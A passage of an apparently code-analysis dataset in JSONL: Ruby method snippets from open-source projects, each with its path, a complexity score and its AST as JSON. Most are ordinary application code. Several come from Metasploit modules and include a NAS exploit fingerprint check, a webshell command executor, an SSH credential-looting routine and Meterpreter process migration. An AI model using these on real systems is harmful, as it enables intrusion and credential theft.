if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope_by_product_feature?\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[null,\"scope_by_product_feature\",{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"miq_group\"]}]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}]}]}]}]}","id":"a85afa07-e5fa-4065-9d53-966059b49805"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback/consumption_with_rollups.rb","start_line":74,"raw_source":"def sum(metric, sub_metric = nil)\n      values(metric, sub_metric).sum\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sum\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metric\"]},{\"type\":\"optarg\",\"children\":[\"sub_metric\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\",{\"type\":\"lvar\",\"children\":[\"metric\"]},{\"type\":\"lvar\",\"children\":[\"sub_metric\"]}]},\"sum\"]}]}","id":"25adb15b-f791-401a-b89a-c90f1b784bf8"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/instagram/base_message_text.rb","start_line":62,"raw_source":"def ensure_contact(contact_id)\n    raise NotImplementedError, \"#{self.class} must implement #ensure_contact\"\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_contact\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contact_id\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" must implement #ensure_contact\"]}]}]}]}","id":"2089af97-f67a-4073-9e9f-b7b36865ef56"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/row_component.rb","start_line":384,"raw_source":"def more_menu_copy_item\n      if User.current.allowed_in_project?(:copy_projects, project) && !project.archived?\n        {\n          scheme: :default,\n          icon: :copy,\n          label: I18n.t(:button_copy),\n          href: copy_project_path(project),\n          data: { turbo: false }\n        }\n      end\n    end","complexity_score":13.1,"ast_json":"{\"type\":\"def\",\"children\":[\"more_menu_copy_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"copy_projects\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"archived?\"]},\"!\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheme\"]},{\"type\":\"sym\",\"children\":[\"default\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"copy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"button_copy\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"copy_project_path\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"turbo\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},null]}]}","id":"f5f0ac6b-d972-4767-8862-9c604ecf09d1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/factory_bot/inline_association.rb","start_line":85,"raw_source":"def on_send(node)\n            _receiver, type = create_or_build(node)\n            return unless type\n            return if chained_call?(node.parent)\n            return unless inside_assocation_definition?(node)\n\n            add_offense(node, message: format(MSG, type: type)) do |corrector|\n              receiver, type = create_or_build(node)\n              receiver = \"#{receiver.source}.\" if receiver\n              expression = \"#{receiver}#{type}\"\n              replacement = node.source.sub(expression, REPLACEMENT)\n              corrector.replace(node, replacement)\n            end\n          end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_receiver\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"create_or_build\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chained_call?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inside_assocation_definition?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"receiver\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"create_or_build\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},{\"type\":\"lvasgn\",\"children\":[\"receiver\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"expression\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},\"sub\",{\"type\":\"lvar\",\"children\":[\"expression\"]},{\"type\":\"const\",\"children\":[null,\"REPLACEMENT\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]}]}]}]}]}","id":"827828f8-4cf0-4874-8d62-cf1a6844e21a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/timelogs/timelogs_finder.rb","start_line":57,"raw_source":"def by_summary(timelogs)\n      return timelogs unless params[:summary]\n\n      timelogs.with_summary(params[:summary])\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"by_summary\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timelogs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"summary\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timelogs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timelogs\"]},\"with_summary\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"summary\"]}]}]}]}]}","id":"e103dfc9-38c8-4e44-b2c3-fd2c2927003f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_compare.rb","start_line":509,"raw_source":"def clear_all_calculations\n    @ids.each { |id| clear_calculations(id) }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_all_calculations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"clear_calculations\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}","id":"fcb373ec-2652-49ca-98be-54ab40a10fc6"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/variable_force/branch.rb","start_line":47,"raw_source":"def self.inherited(subclass)\n            super\n            classes << subclass\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"inherited\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subclass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"classes\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"subclass\"]}]}]}]}","id":"ae232503-87a8-4cd8-8cd3-b284725ba65b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/seagate_nas_php_exec_noauth.rb","start_line":83,"raw_source":"def check\n    begin\n      res = send_request_cgi(\n        'uri' => normalize_uri(target_uri),\n        'method' => 'GET',\n        'headers' => {\n          'Accept' => 'text/html'\n        }\n      )\n\n      if res && res.code == 200\n        headers = res.to_s\n\n        # validate headers\n        if headers.include?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')\n          # and make sure that the body contains the title we'd expect\n          if res.body.include?('Login to BlackArmor')\n            return Exploit::CheckCode::Appears\n          end\n        end\n      end\n    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable\n      # something went wrong, assume safe.\n    end\n\n    Exploit::CheckCode::Safe\n  end","complexity_score":25.28,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"headers\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"include?\",{\"type\":\"str\",\"children\":[\"X-Powered-By: PHP/5.2.13\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Server: lighttpd/1.4.28\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Login to BlackArmor\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},null]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"HostUnreachable\"]}]},null,null]},null]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}","id":"219e4512-3481-49c1-9ed9-9d5b1d1d5086"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb","start_line":209,"raw_source":"def execute_command(cmd, _opts = {})\n    execute_via_webshell(cmd)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_via_webshell\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}","id":"f8a11481-0835-4c81-a7cc-2badacc52fe8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/ssh_creds.rb","start_line":43,"raw_source":"def run\n    print_status('Finding .ssh directories')\n    paths = enum_user_directories.map { |d| d + '/.ssh' }\n    # Array#select! is only in 1.9\n    paths = paths.select { |d| directory?(d) }\n\n    if paths.nil? || paths.empty?\n      print_error('No users found with a .ssh directory')\n      return\n    end\n\n    print_status(\"Looting #{paths.count} .ssh directories\")\n    download_loot(paths)\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Finding .ssh directories\"]}]},{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_user_directories\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"+\",{\"type\":\"str\",\"children\":[\"/.ssh\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"paths\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[null,\"directory?\",{\"type\":\"lvar\",\"children\":[\"d\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No users found with a .ssh directory\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Looting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paths\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" .ssh directories\"]}]}]},{\"type\":\"send\",\"children\":[null,\"download_loot\",{\"type\":\"lvar\",\"children\":[\"paths\"]}]}]}]}","id":"07759461-7687-497f-b39b-88c275fab9f8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/issuable_actions.rb","start_line":220,"raw_source":"def authorize_update_issuable!\n    render_404 unless can?(current_user, :\"update_#{resource_name}\", issuable)\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_update_issuable!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"update_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"issuable\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"072001c3-7715-48d6-baf0-7fe24d88bed1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/common.rb","start_line":107,"raw_source":"def pdf_table_fixed_widths(data, column_widths, options, &)\n    pdf.table(data, options.merge({ column_widths: }), &) unless data.empty?\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pdf_table_fixed_widths\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"column_widths\"]},{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pdf\"]},\"table\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column_widths\"]},{\"type\":\"lvar\",\"children\":[\"column_widths\"]}]}]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}]}","id":"3b6ff88c-13c6-43b1-b6a2-a5190132f639"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/channel/streams.rb","start_line":175,"raw_source":"def stream_handler(broadcasting, user_handler, coder: nil)\n          if user_handler\n            stream_decoder user_handler, coder: coder\n          else\n            default_stream_handler broadcasting, coder: coder\n          end\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stream_handler\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"broadcasting\"]},{\"type\":\"arg\",\"children\":[\"user_handler\"]},{\"type\":\"kwoptarg\",\"children\":[\"coder\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_handler\"]},{\"type\":\"send\",\"children\":[null,\"stream_decoder\",{\"type\":\"lvar\",\"children\":[\"user_handler\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"coder\"]},{\"type\":\"lvar\",\"children\":[\"coder\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"default_stream_handler\",{\"type\":\"lvar\",\"children\":[\"broadcasting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"coder\"]},{\"type\":\"lvar\",\"children\":[\"coder\"]}]}]}]}]}]}","id":"0c6c71a4-fa4f-4727-a67d-65fa9f002b8a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/local_backup_store.rb","start_line":5,"raw_source":"def self.base_directory(db: nil, root_directory: nil)\n      current_db = db || RailsMultisite::ConnectionManagement.current_db\n      root_directory ||= File.join(Rails.root, \"public\", \"backups\")\n\n      base_directory = File.join(root_directory, current_db)\n      FileUtils.mkdir_p(base_directory) unless Dir.exist?(base_directory)\n      base_directory\n    end","complexity_score":11.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_directory\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"db\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"root_directory\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_db\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"current_db\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"root_directory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},{\"type\":\"str\",\"children\":[\"public\"]},{\"type\":\"str\",\"children\":[\"backups\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base_directory\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"root_directory\"]},{\"type\":\"lvar\",\"children\":[\"current_db\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"base_directory\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"base_directory\"]}]}]},{\"type\":\"lvar\",\"children\":[\"base_directory\"]}]}]}","id":"c3ec6b5c-8a00-4052-8716-e9dde6704dc6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/rule_policy.rb","start_line":12,"raw_source":"def update?\n    role.can?(:manage_rules)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_rules\"]}]}]}","id":"8e4ac146-9384-4ae9-9e00-a548b4151f4e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/incident_management/issuable_escalation_statuses/prepare_update_service.rb","start_line":37,"raw_source":"def user_has_permissions?\n        current_user&.can?(:update_escalation_status, issuable)\n      end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"user_has_permissions?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"update_escalation_status\"]},{\"type\":\"send\",\"children\":[null,\"issuable\"]}]}]}","id":"f5c48211-502b-4773-b6ac-411d31247928"}
{"repo_name":"rack","file_path":"./repos/rack/test.rb","start_line":66,"raw_source":"def test_with_body\n    get \"/body\"\n    assert_response 200\n    assert_equal '1', headers['content-length']\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_with_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content-length\"]}]}]}]}]}","id":"34c872db-dd7a-40d3-ad10-d8255829d8c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/async_indexes.rb","start_line":14,"raw_source":"def self.drop_pending_indexes!(how_many: DEFAULT_INDEXES_PER_INVOCATION)\n        PostgresAsyncIndex.to_drop.ordered.limit(how_many).each do |async_index|\n          IndexDestructor.new(async_index).perform\n        end\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"drop_pending_indexes!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"how_many\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_INDEXES_PER_INVOCATION\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresAsyncIndex\"]},\"to_drop\"]},\"ordered\"]},\"limit\",{\"type\":\"lvar\",\"children\":[\"how_many\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"async_index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IndexDestructor\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"async_index\"]}]},\"perform\"]}]}]}","id":"cdc8326b-3432-4ba2-9e8e-ad08f9db0f21"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/boards_controller.rb","start_line":22,"raw_source":"def board_finder\n    strong_memoize :board_finder do\n      Boards::BoardsFinder.new(parent, current_user, board_id: params[:id])\n    end\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"board_finder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"board_finder\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Boards\"]},\"BoardsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"parent\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"board_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"f28c3301-395f-479c-bb2b-ddca75df9995"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/priv_migrate.rb","start_line":114,"raw_source":"def migrate(target_pid, proc_name, current_pid)\n    if !target_pid\n      print_error(\"Could not migrate to #{proc_name}.\")\n      return false\n    end\n\n    print_status(\"Trying #{proc_name} (#{target_pid})\")\n\n    if target_pid == current_pid\n      print_good(\"Already in #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n      return true\n    end\n\n    begin\n      client.core.migrate(target_pid)\n      print_good(\"Successfully migrated to #{client.sys.process.open.name} (#{client.sys.process.open.pid}) as: #{client.sys.config.getuid}\")\n      return true\n    rescue ::Rex::Post::Meterpreter::RequestError => e\n      print_error(\"Could not migrate to #{proc_name}.\")\n      print_error(e.to_s)\n      return false\n    rescue ::Rex::RuntimeError => e\n      print_error(\"Could not migrate to #{proc_name}.\")\n      print_error(e.to_s)\n      return false\n    end\n  